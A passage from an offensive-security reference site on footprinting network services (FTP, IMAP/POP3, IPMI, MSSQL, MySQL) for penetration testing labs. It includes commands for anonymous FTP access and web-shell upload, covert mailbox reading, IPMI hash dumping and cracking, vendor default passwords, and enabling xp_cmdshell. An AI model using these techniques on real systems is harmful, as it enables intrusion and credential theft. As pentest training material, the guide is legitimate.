engagement, and one of the most generous when misconfigured. Anonymous logins, world-readable files, writable web roots, and chatty banners make it a reliable first foothold. **Protocol:** TCP · **Port:** 21 (data on 20) *** ## FTP vs TFTP **FTP** (File Transfer Protocol) transfers files between a client and server over **TCP port 21**, with user authentication and a full set of commands. **TFTP** (Trivial File Transfer Protocol) is the stripped-down cousin. It runs over **UDP**, has **no authentication**, no password-protected login, and no directory listing. In practice it only operates on globally readable/writable files, so it should only ever appear on local, protected networks — and when you find it exposed, that's already a finding. A few core TFTP commands: | Command | Purpose | | --------- | -------------------------------------------------------- | | `connect` | Set the remote host (and optionally port) for transfers | | `get` | Pull a file from the remote host to the local host | | `put` | Push a local file onto the remote host | | `status` | Show current status — transfer mode, connection, timeout | | `verbose` | Toggle extra information during transfers | | `quit` | Exit tftp | Remember: unlike FTP, TFTP **can't list directories** — you have to already know the filename you want. *** ## Default Configuration One of the most common FTP servers on Linux is **vsFTPd**, configured in `/etc/vsftpd.conf`. It's only one of many FTP servers, but it's the one you'll see most often. Key settings in a default `vsftpd.conf`: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # /etc/vsftpd.conf listen=NO # run standalone or from inetd listen_ipv6=YES # listen on IPv6 anonymous_enable=NO # allow anonymous access? local_enable=YES # allow local users to log in? dirmessage_enable=YES # show messages when entering directories use_localtime=YES xferlog_enable=YES # log uploads/downloads connect_from_port_20=YES secure_chroot_dir=/var/run/vsftpd/empty pam_service_name=vsftpd # PAM service name rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key ssl_enable=NO ``` There's also `/etc/ftpusers`, which **denies** specific users access to FTP even if they exist on the system. For example, listing `guest`, `john`, and `kevin` there blocks those accounts from logging in: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # /etc/ftpusers guest john kevin ``` *** ## Dangerous Settings The setting that matters most to an attacker is **anonymous access**. In `vsftpd.conf`, the anonymous-related options look like this: | Setting | Effect | | ------------------------------ | ---------------------------------------------------------------------------------- | | `anonymous_enable=YES` | Allow anonymous login | | `anon_upload_enable=YES` | Let anonymous users upload files | | `anon_mkdir_write_enable=YES` | Let anonymous users create directories | | `no_anon_password=YES` | Don't even ask anonymous for a password | | `anon_root=/home/username/ftp` | Root directory for anonymous sessions | | `write_enable=YES` | Allow write commands: `STOR`, `DELE`, `RNFR`, `RNTO`, `MKD`, `RMD`, `APPE`, `SITE` | `anonymous_enable=YES` combined with `write_enable=YES` or `anon_upload_enable=YES` is the dangerous pairing — it means anyone can not only read files but drop their own. On an FTP server tied to a web root, that's a path to a web shell. When you connect, the server greets you with **response code 220** and a banner — which often discloses the service description and even its version. Even when you can't download anything, just listing the directory contents can hand you names and intel for another angle of attack. *** ## Footprinting the Service ### Anonymous Login The first thing to try is logging in as `anonymous` (any password, often blank): ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ftp 10.129.14.136 ``` ``` Connected to 10.129.14.136. 220 "Welcome to the HTB FTP service." Name (10.129.14.136:user): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. ftp> ls 200 PORT command successful. 150 Here comes the directory listing. drwxr-xr-x 2 0 125 4096 Jun 25 2024 pub 226 Directory send OK. ``` ### Get an Overview with `status` To see how the server is configured at a glance, use `status`: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ftp> status ``` ``` Connected to 10.129.14.136. No proxy connection. Connecting using address family: any. Mode: stream; Type: binary; Form: non-print; Structure: file Verbose: on; Bell: off; Prompting: on; Globbing: on Store unique: off; Receive unique: off Case: off; CR stripping: on ``` ### Reveal More with `debug` and `trace` Turning on `debug` and `trace` makes the server show you more of what's happening under the hood — useful for understanding its behavior: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ftp> debug Debugging on (debug=1). ftp> trace Packet tracing on. ftp> ls ---> PORT 10,10,14,4,228,12 200 PORT command successful. ---> LIST 150 Here comes the directory listing. ``` ### Spotting `hide_ids` and `ls_recurse_enable` If `hide_ids=YES` is set, the UID/GID of files is overwritten (shown as `ftp` or `0`), making it harder to tell what rights files were written with. Conversely, if `ls_recurse_enable=YES` is set — common on vsFTPd for convenience — you can list the entire directory tree in one shot: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ftp> ls -R ``` ``` .: drwxr-xr-x 3 0 0 4096 Jun 25 2024 pub ./pub: drwxr-xr-x 2 0 0 4096 Jun 25 2024 backup ./pub/backup: -rw-r--r-- 1 0 0 582 Jun 25 2024 config.bak ``` ### Download Everything When the server has a large folder structure, you can mirror the whole thing at once with `wget`. Be aware this is noisy — nobody legitimately downloads an entire FTP server in one go: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} wget -m --no-passive ftp://anonymous:anonymous@10.129.14.136 ``` `wget` creates a directory named after the target's IP and stores everything there for offline inspection. ### Test Upload Access Check whether you can upload — especially valuable when the FTP server is tied to a web server, since developers often sync files between them. Upload access there can mean dropping a web shell and getting code execution: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ftp> put shell.php local: shell.php remote: shell.php 200 PORT command successful. 150 Ok to send data. 226 Transfer complete. ``` Upload access to an FTP server connected to a web root is one of the cleanest paths to a reverse shell. Drop a web shell, browse to it, and you've turned a file server into command execution. *** ## Scanning FTP Network scanners make footprinting easier and can find FTP even on non-standard ports. Nmap's NSE scripts are the standard approach. First, the FTP-related NSE scripts live in `/usr/share/nmap/scripts/` and can be found with: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} find / -type f -name "ftp*" 2>/dev/null | grep scripts ``` Run the default FTP scripts with version detection: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -sV -p21 -sC -A 10.129.14.136 ``` ``` PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 0 125 4096 Jun 25 2024 pub | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.4 | Logged in as ftp | TYPE: ASCII |_ vsFTPd 3.0.3 - secure, fast, stable ``` To watch what the NSE scripts are doing at the network level, add `--script-trace`. It shows the commands Nmap sends, the ports used, and the server's responses — including the banner returned to one of the parallel NSE connections: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -sV -p21 -sC -A 10.129.14.136 --script-trace ``` ### Interact Manually with netcat / telnet You can also talk to the server directly: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nc -nv 10.129.14.136 21 telnet 10.129.14.136 21 ``` ### TLS/SSL FTP with openssl If the server runs with TLS/SSL (FTPS), you need a client that speaks it. `openssl` works and has the bonus of showing you the **SSL certificate**, which can itself contain useful information: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} openssl s_client -connect 10.129.14.136:21 -starttls ftp ``` ``` CONNECTED(00000003) --- Certificate chain 0 s:CN = ftp.inlanefreight.htb i:CN = ftp.inlanefreight.htb --- 220 Welcome to the secure HTB FTP service. ``` *** ## Quick Reference | Command | Purpose | | ----------------------------------------------------- | ------------------------------ | | `ftp ` → `anonymous` | Attempt anonymous login | | `ftp> status` | Overview of server settings | | `ftp> debug` / `trace` | Reveal protocol-level detail | | `ftp> ls -R` | Recursive listing (if enabled) | | `wget -m --no-passive ftp://anonymous:anonymous@` | Mirror the whole server | | `ftp> put ` | Test upload access | | `nmap -sV -sC -p21 ` | NSE enumeration | | `openssl s_client -connect :21 -starttls ftp` | Connect to FTPS, view cert | **The footprinting flow:** anonymous login → `status` for config → recursive listing → download everything → test upload → fall back to nmap/openssl for banner and version intel. *** *Next: [SMB](/tech/services/smb) — shares, null sessions, and pulling files off Windows file servers.* # Imap pop3 Source: https://hackbook.dudji.com/tech/services/imap_pop3 # IMAP / POP3 > If SMTP is how mail gets sent, IMAP and POP3 are how it gets read. Crack one set of employee credentials and these protocols let you log straight into their mailbox — where confidential data, password reset links, and internal correspondence are waiting. **Protocol:** TCP · **Ports:** IMAP 143 / 993 (TLS) · POP3 110 / 995 (TLS) *** ## IMAP vs POP3 Both **IMAP** (Internet Message Access Protocol) and **POP3** (Post Office Protocol) provide access to email on a mail server, but they work differently: | | IMAP | POP3 | | ---------------- | ---------------------------------------- | ------------------------------------- | | **Storage** | Mail stays on the server, managed online | Mail typically downloaded and removed | | **Folders** | Supports folder structures | No folder support | | **Multi-client** | Uniform view across all clients | Each client downloads its own copy | | **Functions** | Full online management | List, retrieve, delete only | IMAP keeps a consistent database across every device — sent mail copied into an IMAP folder is visible from any client. POP3 is the older, simpler model that just pulls mail down. Without extra measures, both run **unencrypted**, transmitting commands, mail, usernames, and passwords in plain text. That's why most servers require an encrypted (TLS) session — and why the TLS ports (993, 995) are the ones you'll usually be authenticating against. *** ## Default Configuration A common Linux mail server providing IMAP/POP3 is **Dovecot**. Both protocols have many configuration options, but for footprinting what matters is the command set you can drive from the command line. **IMAP commands:** | Command | Purpose | | ------------------------ | -------------------------------------- | | `LOGIN user pass` | Authenticate | | `LIST "" *` | List all mailboxes | | `SELECT ` | Select a mailbox to work in | | `FETCH all` | Retrieve a message | | `FETCH BODY.PEEK[]` | Read a message without marking it read | | `LOGOUT` | Close the session | **POP3 commands:** | Command | Purpose | | ------------- | --------------------------- | | `USER ` | Provide the username | | `PASS ` | Provide the password | | `STAT` | Number/size of messages | | `LIST` | List messages | | `RETR ` | Retrieve a message | | `DELE ` | Mark a message for deletion | | `QUIT` | Close the session | *** ## Dangerous Settings Most companies use third-party providers (Google, Microsoft), but some still run their own mail servers — and that's where misconfigurations let you read every email sent and received, sensitive ones included. Configuration options worth scrutinizing: | Setting | Risk | | ------------------------------- | ------------------------------------------------------------ | | `auth_debug` / `auth_verbose` | Logs authentication detail — credentials can leak into logs | | Plaintext auth allowed | Credentials transmitted in clear text, sniffable on the wire | | Anonymous / guest login enabled | Mailbox access without valid credentials | | Self-signed / mismatched certs | Easier man-in-the-middle, and the cert itself leaks org info | The real prize here is **credential reuse**. If you've recovered an employee's password anywhere else on the engagement, try it against IMAP/POP3 — a successful login gives you their entire mailbox: internal documents, password reset emails, and often credentials for other systems. *** ## Footprinting the Service ### Nmap Scan the four IMAP/POP3 ports. If the server uses an embedded SSL certificate, the scan reveals organisational detail: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -sV -sC -p110,143,993,995 10.129.14.128 ``` ``` PORT STATE SERVICE VERSION 110/tcp open pop3 Dovecot pop3d 143/tcp open imap Dovecot imapd 993/tcp open ssl/imap Dovecot imapd | ssl-cert: Subject: commonName=mail1.inlanefreight.htb/ | organizationName=InlaneFreight/stateOrProvinceName=California/countryName=US 995/tcp open ssl/pop3 Dovecot pop3d ``` From the certificate you can read the common name (`mail1.inlanefreight.htb`), the organization (`InlaneFreight`), and location (California) — all useful for building username lists and understanding the target. ### cURL `curl` can list a mailbox directly. Adding verbose (`-v`) shows the TLS version, SSL certificate details, and the banner — which often discloses the mail server version: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} curl -k 'imaps://10.129.14.128' --user user:password -v ``` ``` * Connected to 10.129.14.128 (10.129.14.128) port 993 * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * Server certificate: * subject: CN=mail1.inlanefreight.htb; O=InlaneFreight < * OK [CAPABILITY IMAP4rev1 ...] Dovecot ready. ``` ### Netcat — Plaintext Ports You can talk to the plaintext ports (143 / 110) directly with `nc`. Connect to IMAP: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nc 10.129.14.128 143 ``` ``` * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR ...] Dovecot ready. 1 login user password 1 NO [PRIVACYREQUIRED] Plaintext authentication disallowed on non-secure (SSL/TLS) connections. ``` And POP3: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nc 10.129.14.128 110 ``` ``` +OK Dovecot ready. USER user +OK PASS password -ERR [AUTH] Plaintext authentication disallowed. ``` In both cases the server refuses plaintext auth — which tells you to switch to `openssl` against the TLS ports. ### OpenSSL — TLS-Encrypted Interaction Connect over TLS to authenticate properly. IMAP over SSL: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} openssl s_client -connect 10.129.14.128:imaps ``` POP3 over SSL: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} openssl s_client -connect 10.129.14.128:pop3s ``` ### Reading Mail Over IMAP Once authenticated over TLS, list mailboxes, select one, and read messages: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Authenticate 1 LOGIN user password # List all mailboxes 1 LIST "" * # Select a mailbox 1 SELECT INBOX # Retrieve a message (full) 1 FETCH 1 all # Read a message WITHOUT marking it as read 1 FETCH 1 BODY.PEEK[] ``` Use `BODY.PEEK[]` instead of `FETCH ... all` when reading mail — `PEEK` retrieves the message without setting the `\Seen` flag, so the mailbox owner doesn't notice their unread mail suddenly being marked read. It's the quiet way to read someone's inbox. *** ## Quick Reference | Command | Purpose | | ------------------------------------------------------- | ------------------------------------- | | `nmap -sV -sC -p110,143,993,995 ` | Scan all four ports, read cert | | `curl -k 'imaps://' --user u:p -v` | List mailbox, view TLS/banner | | `nc 143` / `nc 110` | Plaintext interaction (often refused) | | `openssl s_client -connect :imaps` | TLS IMAP session | | `openssl s_client -connect :pop3s` | TLS POP3 session | | `LIST "" *` → `SELECT ` → `FETCH BODY.PEEK[]` | Read mail quietly | **The footprinting flow:** nmap for ports + cert intel → curl/openssl for banner and version → authenticate over TLS with found credentials → list mailboxes → read mail with `BODY.PEEK[]`. *** *Next: [SNMP](/tech/services/snmp) — community strings and walking the MIB for credentials and config.* # Services Source: https://hackbook.dudji.com/tech/services/index Common network services from an offensive security perspective. Service-specific knowledge — how each protocol works, how to enumerate it, and where misconfigurations turn into footholds. ## Services Domain Name System — zone transfers, record enumeration, and subdomain brute-forcing. File Transfer Protocol — anonymous access, credential brute-forcing, and file exposure. Server Message Block — share enumeration, null sessions, and lateral movement. Simple Mail Transfer Protocol — user enumeration and open relay abuse. Mail retrieval protocols — credential attacks and mailbox access. Simple Network Management Protocol — community string brute-forcing and MIB enumeration. Secure Shell — key-based attacks, credential brute-forcing, and tunneling. Remote Desktop Protocol — BlueKeep, credential attacks, and session hijacking. Windows Remote Management — authentication, Evil-WinRM, and lateral movement. Windows Management Instrumentation — remote execution and enumeration. Network File System — export enumeration, UID spoofing, and file access. Rsync — unauthenticated module listing and file retrieval. Berkeley R-Services — trust relationships and rlogin/rsh abuse. Intelligent Platform Management Interface — authentication bypass and hash extraction. MySQL — enumeration, UDF exploitation, and credential extraction. Oracle TNS Listener — SID enumeration and credential attacks. Microsoft SQL Server — enumeration, xp\_cmdshell, and linked server abuse. ## Port & Services | Port | Service | | ------------------ | ----------- | | 20 | FTP | | 22 | SSH | | 25, 587 | SMTP | | 53 | DNS | | 110, 143, 993, 995 | IMAP / POP3 | | 111, 2049 | NFS | | 135 | WMI | | 161, 162 | SNMP | | 445 | SMB | | 512, 513, 514 | R-Services | | 623 | IPMI | | 873 | Rsync | | 1433 | MSSQL | | 1521 | Oracle TNS | | 3306 | MySQL | | 3389 | RDP | | 5985, 5986 | WinRM | ## OSI Layers & Attacks | OSI Layer | Attack | | ------------ | -------------- | | Application | Exploit | | Presentation | Phishing | | Session | Hijacking | | Transport | Reconnaissance | | Network | MITM | | Data Link | Spoofing | | Physical | Sniffing | # Ipmi Source: https://hackbook.dudji.com/tech/services/ipmi # IPMI > A BMC is a tiny computer bolted to a server's motherboard that runs even when the host is powered off — and gaining access to it is nearly equivalent to physical access. IPMI 2.0 has a flaw baked into the spec that hands you the password hash of any valid user, no authentication required. **Protocol:** UDP · **Port:** 623 *** ## What Is IPMI? The **Intelligent Platform Management Interface (IPMI)** is a standardized set of specifications for hardware-based host management. It runs as an autonomous subsystem, **independent of the host's BIOS, CPU, firmware, and operating system** — so administrators can manage and monitor a machine even when it's powered off or unresponsive. It connects directly to the system's hardware over the network and needs no login shell on the OS. Typical uses: 1. Modifying BIOS settings before the OS boots 2. Managing a host that's fully powered down 3. Accessing a host after a system failure When it's not doing those, it monitors temperature, voltage, fan status, and power supplies. The host can be off, but the IPMI module needs a power source and a LAN connection to function. ### BMCs Systems that speak IPMI are called **Baseboard Management Controllers (BMCs)** — typically embedded ARM systems running Linux, wired directly to the motherboard (built in, or added as a PCI card). The ones you'll meet most on internal tests: * **HP iLO** * **Dell DRAC** * **Supermicro IPMI** They usually expose a **web management console**, a remote-access protocol (Telnet or SSH), and the IPMI network protocol on **UDP 623**. Access to a BMC means you can monitor, reboot, power off, or even **reinstall the host operating system**. It's nearly equivalent to standing in front of the machine with a keyboard. Don't overlook IPMI on internal engagements — it shows up constantly and a BMC web-console login is a high-risk finding on its own. *** ## Footprinting the Service ### Nmap The `ipmi-version` NSE script fingerprints the protocol on UDP 623: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -sU -p623 --script ipmi-version 10.129.14.128 ``` ``` PORT STATE SERVICE 623/udp open asf-rmcp | ipmi-version: | Version: | IPMI-2.0 | UserAuth: auth_user, non_null_user |_ PassAuth: password, md5, null ``` Here IPMI is listening on 623 and Nmap fingerprinted **version 2.0** — which matters, because the hash-retrieval flaw is specific to IPMI 2.0. ### Metasploit Version Scan The same fingerprint is available via Metasploit: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} use auxiliary/scanner/ipmi/ipmi_version set RHOSTS 10.129.14.128 run ``` ### Default Credentials Administrators frequently leave BMC default passwords in place. Worth keeping in your cheat sheet: | Vendor | Default Username | Default Password | | --------------- | ---------------- | ---------------------------------------------- | | HP iLO | `Administrator` | factory-randomized 8-char (uppercase + digits) | | Dell iDRAC | `root` | `calvin` | | Supermicro IPMI | `ADMIN` | `ADMIN` | Always try known defaults against **any** service you find — they're left unchanged constantly and lead to quick wins. For a BMC, they may get you into the web console or SSH/Telnet directly. *** ## Dangerous Settings — The RAKP Hash Flaw If default credentials don't work, IPMI 2.0 has a flaw in its **RAKP protocol** that's a core part of the specification — so there's no real "fix," only mitigation. During authentication, the server sends a **salted SHA1 or MD5 hash of the user's password to the client *before* authentication completes.** That means you can request the password hash for **any valid user account** on the BMC, then crack it offline. ### Retrieve the Hash with Metasploit ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} use auxiliary/scanner/ipmi/ipmi_dumphashes set RHOSTS 10.129.14.128 run ``` ``` [+] 10.129.14.128:623 - IPMI - Hash found: ADMIN:8e1f...e3a9...:cracked password "ADMIN" ``` ### Crack It with Hashcat IPMI RAKP hashes use **Hashcat mode 7300**: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} hashcat -m 7300 ipmi.txt /usr/share/wordlists/rockyou.txt ``` For an HP iLO at its factory-default password — eight characters of uppercase letters and digits — a mask attack covers the whole keyspace: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u ``` The real payoff is **password reuse**. The RAKP flaw gets you a hash; cracking it gets you a password; and that password is often reused elsewhere. There are documented engagements where a cracked IPMI hash led to SSH-as-root on many critical servers and access to network monitoring consoles across the environment. Mitigation is limited to very long passwords or network-segmenting the BMCs — the flaw itself can't be patched away. *** ## Quick Reference | Command | Purpose | | -------------------------------------------------------- | ------------------------------- | | `nmap -sU -p623 --script ipmi-version ` | Fingerprint IPMI version | | `auxiliary/scanner/ipmi/ipmi_version` | Metasploit version scan | | `auxiliary/scanner/ipmi/ipmi_dumphashes` | Retrieve RAKP password hashes | | `hashcat -m 7300 ipmi.txt ` | Crack IPMI hashes (dictionary) | | `hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u` | Mask attack for HP iLO defaults | **Default creds to always try:** iDRAC `root:calvin` · Supermicro `ADMIN:ADMIN` · HP iLO randomized 8-char. **The footprinting flow:** nmap for UDP 623 and version → try default credentials → if those fail, dump RAKP hashes with Metasploit → crack offline with Hashcat mode 7300 → log into the BMC, and test the password for reuse elsewhere. *** *Next: [MySQL](/tech/services/mysql) — database enumeration, authentication, and reading data straight off the server.* # Mssql Source: https://hackbook.dudji.com/tech/services/mssql # MSSQL > Microsoft SQL Server isn't just a place data lives — it's a foothold on a Windows box. Weak `sa` credentials get you in, and `xp_cmdshell` lets you run operating-system commands straight from a SQL prompt. A database login becomes code execution on the host. **Protocol:** TCP · **Port:** 1433 *** ## What Is MSSQL? **Microsoft SQL Server (MSSQL)** is Microsoft's SQL-based relational database management system. Versions run on Linux and macOS, but you'll most often meet MSSQL on **Windows** targets — which is what makes it so valuable: it ties directly into Windows authentication and can execute OS commands. ### MSSQL Clients **SQL Server Management Studio (SSMS)** ships with the MSSQL install package or can be downloaded separately. Because it's a *client* application, it can be installed on any admin's or developer's workstation — not just the database server. Since SSMS lives on client machines too, you may find a vulnerable workstation with **SSMS holding saved credentials** that connect straight to the database. The DB server isn't the only place to look for a way in. ### Default System Databases MSSQL ships with system databases that reveal the structure of everything hosted on the server: | Database | Purpose | | ---------- | ------------------------------------------------------------------- | | `master` | Tracks all system information for the SQL Server instance | | `model` | Template for every new database — changes here propagate to new DBs | | `msdb` | Used by SQL Server Agent to schedule jobs and alerts | | `tempdb` | Stores temporary objects | | `resource` | Read-only database of the system objects shipped with SQL Server | *** ## Default Configuration When an admin installs MSSQL to be network-accessible, the service typically runs as **`NT SERVICE\MSSQLSERVER`**. Authentication set to **Windows Authentication** means the underlying Windows OS processes the login — checking the local SAM database or the domain controller (Active Directory) before granting access to the DBMS. That's the link that makes MSSQL a stepping stone into the wider Windows environment. *** ## Dangerous Settings Worth investigating on any MSSQL instance: | Setting | Risk | | ------------------------------- | --------------------------------------------------------------------------------- | | No encryption | Clients connecting unencrypted — traffic (including queries) is sniffable | | Self-signed certificates | When encryption *is* used, self-signed certs can be **spoofed** for MITM | | Named pipes | Enabled named-pipe access widens the attack surface | | Weak / default `sa` credentials | The `sa` (sysadmin) account is often left enabled with a weak or default password | The `sa` account is the prize. It's the built-in sysadmin, and admins frequently forget to disable it or leave it with a weak password. `sa` access means full control of the server — including the ability to enable and run `xp_cmdshell` for OS command execution. *** ## Footprinting the Service ### MSSQL Clients for Pentesters Beyond SSMS, many clients can connect to MSSQL: 1. `mssql-cli` 2. SQL Server PowerShell 3. HeidiSQL 4. SQLPro 5. **Impacket's `mssqlclient.py`** `mssqlclient.py` is usually the most useful — Impacket ships on most pentest distros by default. Find it with: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} locate mssqlclient ``` ### Nmap MSSQL listens on **TCP 1433**. The MSSQL NSE scripts pull a lot at once — hostname, instance name, version, and whether named pipes are enabled: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes \ --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER \ -sV -p1433 10.129.201.248 ``` ``` PORT STATE SERVICE VERSION 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000 | ms-sql-info: | 10.129.201.248:1433: | Version: Microsoft SQL Server 2019 | Instance name: MSSQLSERVER | Named pipe: \\10.129.201.248\pipe\sql\query |_ TCP port: 1433 ``` ### Metasploit mssql\_ping The `mssql_ping` auxiliary scanner adds more footprinting detail: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} use auxiliary/scanner/mssql/mssql_ping set RHOSTS 10.129.201.248 run ``` ### Connecting with mssqlclient.py With guessed or recovered credentials, connect and interact using **T-SQL** (Transact-SQL). The `windows-auth` flag uses Windows authentication: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} mssqlclient.py sa:Password123@10.129.201.248 -windows-auth ``` ``` Impacket v0.11.0 - Copyright 2023 Fortra [*] Encryption required, switching to TLS [*] ACK! ... Login success. [*] INFO(SQL01): Line 1: Changed database context to 'master'. SQL> ``` Get a lay of the land by listing databases (in MSSQL, tables are `sysobjects`): ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT name FROM sys.databases; ``` ``` name ----------- master tempdb model msdb inlanefreight_db ``` *** ## Command Execution with xp\_cmdshell This is what sets MSSQL apart. With `sa` (or sufficient privileges), the `xp_cmdshell` stored procedure runs OS commands as the SQL service account. It's disabled by default, but you can enable it from the SQL prompt: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} -- Enable advanced options EXEC sp_configure 'show advanced options', 1; RECONFIGURE; -- Enable xp_cmdshell EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- Run an OS command EXEC xp_cmdshell 'whoami'; ``` ``` output ------------------------- nt service\mssqlserver ``` `xp_cmdshell` turns a database login into a shell on the Windows host, running as the SQL service account. From `whoami` you can move to downloading and running a payload, and from there to privilege escalation — the SQL service account often has `SeImpersonatePrivilege`, opening the door to a Potato attack. This is the single most important reason to prioritize MSSQL on a Windows engagement. *** ## Quick Reference | Command | Purpose | | -------------------------------------------------- | ----------------------------------- | | `nmap --script ms-sql-* -p1433 ` | Enumerate instance, version, config | | `auxiliary/scanner/mssql/mssql_ping` | Metasploit footprinting | | `mssqlclient.py :@ -windows-auth` | Connect via T-SQL | | `SELECT name FROM sys.databases;` | List databases | | `EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;` | Enable command execution | | `EXEC xp_cmdshell 'whoami';` | Run an OS command | **The footprinting flow:** nmap `ms-sql-*` for instance/version → try `sa` with weak/default creds → connect with mssqlclient.py → enumerate databases → enable and abuse `xp_cmdshell` for command execution on the host. *** *Next: [Oracle TNS](/tech/services/oracle-tns) — the Oracle listener, SID enumeration, and database privilege escalation.* # Mysql Source: https://hackbook.dudji.com/tech/services/mysql # MySQL > A MySQL server reachable on the network is a direct line to whatever the application stores — users, password hashes, session data, business records. Weak or reused credentials get you in, and from there `secure_file_priv` and `FILE` privileges can turn a database login into file reads and sometimes code execution. **Protocol:** TCP · **Port:** 3306 *** ## What Is MySQL? **MySQL** is an open-source relational database management system, developed and supported by Oracle. Databases are often dumped to a single `.sql` file (e.g. `wordpress.sql`). A MySQL server translates SQL commands into executable actions and returns the result to the client — a table extract, login records, search results, and so on. When something goes wrong during processing, the application reports an error, and **those errors are exactly what SQL injection provokes** to manipulate the database. *** ## Default Configuration MySQL is configured through `/etc/mysql/mysql.conf.d/mysqld.cnf` (or `my.cnf`): ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # mysqld.cnf [mysqld] user = mysql pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock port = 3306 bind-address = 127.0.0.1 ``` *** ## Dangerous Settings The security-relevant options: | Setting | Risk | | ------------------ | ----------------------------------------------------------------------------- | | `user` | The OS user MySQL runs as — stored in plain text in the config | | `password` | The MySQL user's password — **plain text** in the config | | `admin_address` | IP for TCP/IP connections on the admin interface | | `debug` | Current debugging settings — verbose error output | | `sql_warnings` | Whether single-row INSERTs produce info strings on warnings | | `secure_file_priv` | Limits import/export operations — if empty, enables arbitrary file read/write | `user`, `password`, and `admin_address` matter because they're stored in **plain text**. Config-file permissions are often set wrong — so if you get any file-read primitive or a shell, you can read the MySQL username and password straight out of the config. `debug` and `sql_warnings` produce verbose error output. That's useful to an administrator but leaks sensitive content to everyone else — error messages are often shown directly in the web application, and that detail can be used to refine SQL injection, sometimes to the point of getting the server to **execute system commands**. An empty `secure_file_priv` is the dangerous one. It removes the restriction on file import/export, so a user with the `FILE` privilege can read arbitrary files (`LOAD_FILE()`) and write files (`INTO OUTFILE`) — which can mean reading `/etc/passwd` or dropping a web shell into the web root. *** ## Footprinting the Service ### Nmap MySQL runs on **TCP 3306**. Scan with the MySQL 